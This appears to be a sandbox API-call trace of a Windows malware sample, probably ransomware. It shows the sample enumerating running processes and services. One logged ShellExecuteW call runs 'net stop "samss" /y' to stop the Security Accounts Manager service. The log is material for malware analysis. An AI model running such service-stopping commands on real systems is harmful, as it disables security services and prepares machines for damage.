	[0155.946] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa84, pcPriClassBase=8, dwFlags=0x0, szExeFile="net1.exe")) returned 1
	[0155.949] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0155.952] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0155.955] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0155.957] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0155.959] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0155.962] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb28, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1
	[0155.964] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x858, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0155.967] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x304, pcPriClassBase=8, dwFlags=0x0, szExeFile="bcdedit.exe")) returned 1
	[0156.181] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0156.183] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskkill.exe")) returned 1
	[0156.186] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0156.188] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0156.191] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0156.192] CloseHandle (hObject=0x3a4) returned 1
	[0156.193] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x2bfd40
	[0156.194] EnumServicesStatusW (in: hSCManager=0x2bfd40, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x2bdf948, lpServicesReturned=0x2bdf940, lpResumeHandle=0x2bdf6b0 | out: lpServices=0x0, pcbBytesNeeded=0x2bdf948, lpServicesReturned=0x2bdf940, lpResumeHandle=0x2bdf6b0) returned 0
	[0156.194] VirtualAlloc (lpAddress=0x0, dwSize=0x169d, flAllocationType=0x1000, flProtect=0x40) returned 0x1e0000
	[0156.195] EnumServicesStatusW (in: hSCManager=0x2bfd40, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x1e0000, cbBufSize=0x169d, pcbBytesNeeded=0x2bdf948, lpServicesReturned=0x2bdf940, lpResumeHandle=0x2bdf6b0 | out: lpServices=0x1e0000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x2bdf948, lpServicesReturned=0x2bdf940, lpResumeHandle=0x2bdf6b0) returned 1
	[0156.197] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0158.770] Sleep (dwMilliseconds=0x96) 
	[0159.224] VirtualFree (lpAddress=0x1e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.225] Sleep (dwMilliseconds=0xc350) 
	[0169.319] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x274
	[0169.343] Process32FirstW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0169.346] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0169.349] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0169.352] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0169.545] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0169.548] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0169.551] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0169.554] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0169.557] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0169.561] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0169.564] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.567] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.570] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.573] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.576] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.579] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.582] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.585] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0169.831] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0169.834] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0169.836] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0169.840] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.843] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0169.846] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0169.849] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.852] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0169.855] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.859] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation innocent drug.exe")) returned 1
	[0169.862] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trunk.exe")) returned 1
	[0169.865] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposalshurtsilly.exe")) returned 1
	[0170.111] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="record-cultural-corrections.exe")) returned 1
	[0170.114] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="defined_odd_stuff.exe")) returned 1
	[0170.118] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="discounted_rational_ca.exe")) returned 1
	[0170.121] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="corp.exe")) returned 1
	[0170.124] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="salemarchivevietnam.exe")) returned 1
	[0170.128] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="indexeslakes.exe")) returned 1
	[0170.130] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nation_dress_jelsoft.exe")) returned 1
	[0170.134] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="services supreme.exe")) returned 1
	[0170.137] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="man.exe")) returned 1
	[0170.140] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lives_defined.exe")) returned 1
	[0170.143] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bumper ideal.exe")) returned 1
	[0170.146] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="martin-catalyst.exe")) returned 1
	[0170.581] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nylonblacks.exe")) returned 1
	[0170.584] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vp i manner.exe")) returned 1
	[0170.587] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nitrogen canberra.exe")) returned 1
	[0170.590] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="prompt.exe")) returned 1
	[0170.593] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0170.597] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0170.600] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0170.603] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0170.607] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0170.610] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0170.613] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0170.616] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0170.762] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0170.765] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0170.768] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0170.772] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0170.775] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0170.778] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0170.781] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0170.784] Process32NextW (in: hSnapshot=0x274, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
